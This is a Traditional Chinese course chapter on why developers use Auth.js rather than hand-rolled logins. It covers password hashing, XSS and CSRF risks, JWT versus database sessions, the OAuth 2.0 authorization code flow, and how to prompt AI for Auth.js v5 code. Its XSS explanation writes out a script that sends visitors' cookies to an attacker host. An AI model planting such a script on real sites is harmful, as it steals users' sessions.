第一章:為什麼不要自己刻登入系統?OAuth 2.0 基礎概念與 Auth.js 介紹
在網頁開發的早期,幾乎每一個工程師的「必經之路」,就是從頭到尾手寫一套會員登入系統。這聽起來很酷,你可以在資料庫裡建立一個名為 users 的資料表,設計 username 和 password 欄位,然後寫一段 PHP 或 Node.js 程式碼,把使用者輸入的密碼跟資料庫裡的字串比對,吻合就發一個 Cookie 給他。
然而,到了 2024 年以後,這種「土砲」做法在真實的商業專案中,幾乎等同於「自殺行為」。
這是一堂要價 1999 元的商業實戰課,我們的目標不是教你寫玩具,而是教你打造能夠承載真實用戶、甚至能通過企業級資安稽核的現代化 SaaS 平台。本章節將帶你進行一場深度的觀念洗禮,徹底解析為什麼現代化開發必須使用成熟的認證解決方案(如 Auth.js / NextAuth),以及 OAuth 2.0 的底層運作原理到底是什麼。
⛔ 第一部分:自己刻登入系統的「三大毀滅級災難」
很多新手在接外包案時,會覺得「客戶只要一個可以登入的後台,我自己寫個帳號密碼比對不就好了嗎?」 這是不對的。當你把這套系統推上線,只要稍微懂一點駭客技術的人,就能在幾分鐘內把你的資料庫看光光。我們來盤點自己刻系統會面臨的災難:
災難 1:密碼儲存與資安漏洞無處不在
密碼絕對不能存明文(Plain Text),這是常識。所以你會去 Google 搜尋「密碼加密」,然後你可能會找到 MD5 或是 SHA-1 等雜湊演算法。 錯誤! MD5 和 SHA-1 早已被證明是不安全的,現代的顯示卡可以在幾秒鐘內破解數百萬個 MD5 雜湊值(這被稱為彩虹表攻擊 Rainbow Table Attack)。
在現代,你必須使用 Bcrypt、Argon2 或是 PBKDF2 這類具有「工作因子 (Work Factor)」的慢速雜湊演算法。不僅如此,你還必須為每一個使用者的密碼加上獨一無二的 Salt (鹽)。 如果你不知道這些名詞的意思,那你絕對不應該自己寫密碼儲存系統。一旦資料庫外洩,你將面臨客戶天價的求償。
災難 2:Session 管理與跨站攻擊
當使用者登入成功後,你要怎麼讓瀏覽器「記住」他? 通常你會發一個 Session ID 存進使用者的 Cookie 裡。但這裡充滿了陷阱:
- XSS (跨站腳本攻擊):如果你的 Cookie 沒有加上
HttpOnly標籤,駭客只要在你的網站留言板貼上一段惡意的 JavaScript 程式碼:<script>fetch('http://hacker.com?cookie=' + document.cookie)</script>,他就能瞬間盜走所有看過這篇留言的人的登入狀態! - CSRF (跨站請求偽造):如果你的 Cookie 沒有加上
SameSite=Strict或Lax標籤,駭客可以做一個假網站,裡面放一張隱藏的圖片,網址指向你的「刪除帳號 API」。當你的使用者(已登入狀態)不小心點開這個假網站時,他的帳號就會瞬間被刪除。
災難 3:第三方登入 (Social Login) 的無盡深淵
現代用戶極度討厭填寫註冊表單。「使用 Google 登入」、「使用 Line 登入」已經成為商業接案的「標配」。 如果你要自己手動串接 Google 登入,你需要:
- 閱讀數十頁的 Google OAuth 官方文件。
- 自己手寫 HTTP 請求去交換
authorization_code。 - 處理
access_token和refresh_token的過期與刷新機制。 - 萬一使用者用同一個 Email,但一次用 Google 登入,一次用一般密碼註冊,你要怎麼在資料庫裡把他們「合併 (Account Linking)」? 光是處理這些 Edge Cases (邊緣情況),就能耗掉你一整個月的開發時間。
💡 第二部分:救星降臨 — Auth.js (NextAuth) 全面解析
為了不讓我們把生命浪費在處理上述的災難中,開源社群誕生了 Next.js 生態系中最偉大、最權威的認證庫:Auth.js(它的前身叫做 NextAuth.js)。
Auth.js 幫我們把所有的髒活、累活、危險的活都封裝好了。它不僅僅是一個函式庫,它是一整套**「企業級的認證架構」**。
Auth.js 的超級優勢
- 極致的開箱即用安全防護:
Auth.js 預設就幫你開啟了
HttpOnly,Secure,SameSite=Lax等最高規格的 Cookie 安全標籤。它還內建了 CSRF Token 驗證機制,自動阻擋跨站偽造攻擊。 - 內建超過 60+ 種第三方 Provider: 你想串接 Google, GitHub, Apple, Line, Facebook, Discord, 還是 Spotify?Auth.js 內部全部都幫你寫好了!你只需要在設定檔中填入 Client ID 和 Secret,其他複雜的 API 請求它全包了。
- App Router 與 Server Components 的完美整合:
這是它能稱霸 Next.js 生態系的關鍵。在傳統 React 中,你必須在畫面上放一個 Loading Spinner,等前端呼叫 API 確認登入狀態後才能顯示內容(這會造成嚴重的畫面閃爍 UI Flickering)。而在 Auth.js 中,你可以直接在伺服器端 (Server Component) 拿到
await auth(),實現真正的 0 閃爍保護。 - Adapter 架構: 如果你不想只把登入狀態存在 Cookie,而是想存進關聯式資料庫 (如 PostgreSQL / Supabase) 或 NoSQL (如 MongoDB),Auth.js 提供了隨插即用的 Adapter。
JWT vs Database Sessions:Auth.js 的兩種策略
在使用 Auth.js 時,你必須理解它背後掌管 Session 的兩種模式。這在商業架構設計上非常重要:
| 比較維度 | JWT (JSON Web Token) 模式 | Database Session 模式 | | :--- | :--- | :--- | | 資料儲存位置 | 存在使用者瀏覽器的 Cookie 裡 | 存在伺服器端的資料庫裡 (Cookie 只存一串亂碼 ID) | | 資料庫讀寫壓力 | 極低 (伺服器不需要去資料庫查資料) | 較高 (每次檢查權限都要去資料庫 Query 一次) | | 撤銷權限速度 | 慢 (一旦發出 Token,在過期前很難強制讓他登出) | 極快 (管理員在後台刪除 Session,使用者瞬間被登出) | | 擴充性 | 極佳 (適合微服務架構) | 依賴單一資料庫的效能 | | Auth.js 預設值 | 不搭配 Adapter 時預設使用 JWT | 搭配 Adapter 時預設使用 Database Session |
在接下來的實戰中,我們將會教你如何結合 Supabase Adapter,使用最強大的 Database Session 模式,讓你能完美控制使用者的訂閱與付費狀態。
🔐 第三部分:圖解 OAuth 2.0 基礎概念
在進入下一章寫程式之前,你必須先懂 OAuth 2.0 的基本運作流程。 當你在接案時,客戶可能會問:「如果使用者用 Google 登入,那我們會不會拿到他的 Google 密碼?」 作為一個專業的工程師,你必須能夠自信地回答:「絕對不會!因為我們使用的是 OAuth 2.0 協定。」
OAuth 2.0 是一種「授權機制 (Authorization Framework)」。
核心角色定義
我們用一個生活化的例子來比喻: 假設 「你 (Vibe Tutor 網站)」 是一個想要進入 「某個高級社區 (Google)」 拜訪住戶的人。
- Resource Owner (資源擁有者):也就是「使用者本人」。
- Client (客戶端):也就是「Vibe Tutor 網站」。
- Authorization Server (授權伺服器):Google 的驗證大門警衛。負責確認身分發放通行證。
- Resource Server (資源伺服器):Google 的機房,裡面存有用戶的大頭貼與 Email。
經典的 OAuth 2.0 Authorization Code Flow (授權碼流程)
這是一段非常經典的對話流程,請在腦海中想像這個畫面(這也是你跟 AI 溝通除錯時必備的背景知識):
sequenceDiagram
participant User as 使用者 (Resource Owner)
participant Client as Vibe Tutor (你的網站)
participant AuthServer as Google 授權伺服器
participant ResServer as Google 資源伺服器
User->>Client: 1. 點擊「使用 Google 登入」
Client->>AuthServer: 2. 把使用者導向 Google,並帶上我們的 Client ID
AuthServer->>User: 3. 顯示「Vibe Tutor 想要取得你的 Email 和大頭貼,同意嗎?」
User->>AuthServer: 4. 輸入 Google 密碼並點擊「同意」
AuthServer->>Client: 5. Google 把使用者導向回 Vibe Tutor,網址上帶有一串很短的「授權碼 (Authorization Code)」
Note over Client, AuthServer: 注意:這時候我們還沒拿到個資!
Client->>AuthServer: 6. Vibe Tutor 在伺服器背景,拿著「授權碼」+「Client Secret (最高機密)」去跟 Google 換真正的通行證
AuthServer->>Client: 7. Google 驗證 Secret 無誤,發放「Access Token」
Client->>ResServer: 8. Vibe Tutor 拿著 Access Token 去請求使用者的 Email
ResServer->>Client: 9. 回傳 Email 與大頭貼資料
Client->>User: 10. 登入成功!顯示歡迎畫面
這個流程設計得極度精妙:
- 使用者永遠是在 Google 的網域下輸入密碼,所以身為開發者的我們,絕對碰不到密碼。
- 第 5 步的授權碼只能用一次,且有效時間極短。
- 第 6 步交換 Token 的動作,是發生在你的 後端伺服器 (Server-to-Server),所以駭客無法從瀏覽器攔截到 Access Token。
如果沒有 Auth.js,上面的這 10 個步驟,每一個步驟你都要自己處理 API 請求、自己解析 JSON、自己處理 CORS 跨域問題、自己寫錯誤捕捉 (Error Handling)。
而有了 Auth.js 之後,這一切都縮減成了一行程式碼:providers: [Google({ clientId, clientSecret })]。
🤖 第四部分:Vibe Coding 實戰心法:如何引導 AI 幫你處理 Auth
AI 雖然強大,但認證系統是 AI 最容易「翻車」的地方。為什麼?
因為 NextAuth 在短短一年內經歷了從 v4 到 v5 (Beta) 的劇烈架構變化。如果你只對 AI 說:「幫我寫一個 Google 登入」,AI 有 90% 的機率會寫出舊版 v4 的 pages/api/auth 寫法,這在最新的 App Router 中會直接爆炸報錯。
❌ 錯誤的 Prompt 示範
幫我寫一個 Next.js 的 Google 登入,用 next-auth。
✅ 正確的 Vibe Coding Prompt 示範 (Few-Shot Prompting)
[任務目標] 我正在開發一個 Next.js 14 (App Router) 的專案。我需要加入 Google 登入功能。
[技術棧限制] 請使用最新的
next-auth@beta(也就是 Auth.js v5)。 絕對不要給我舊版 v4 的 API Route 寫法。[架構規範]
- 請幫我建立根目錄下的
auth.ts。- 請幫我建立
src/app/api/auth/[...nextauth]/route.ts並使用handlers導出 GET 與 POST。- 請一步步給出需要設定的
.env.local變數清單。
透過這樣強勢的框架限定,AI 才能寫出符合 2024 年商業標準的認證程式碼。
總結與下一步準備
這是一堂硬核的架構課,但這是你成為高薪資深工程師的必經之路。 總結本章重點:
- 永遠不要自己手寫帳號密碼比對與 Session 發放,資安風險太高。
- OAuth 2.0 透過「授權碼 (Authorization Code)」機制,保證了密碼不外流的安全架構。
- Auth.js 將數十個繁瑣的 HTTP 請求封裝成了簡單的 Provider 設定。
- 指揮 AI 寫 Auth 邏輯時,必須明確指定版本 (
next-auth@beta) 與架構 (App Router)。
現在,你已經擁有了堅實的理論基礎。請深呼吸,喝口水,在下一章中,我們將正式打開終端機,開始安裝套件,並親自前往 Google Developer Console 註冊你的第一個 OAuth 憑證!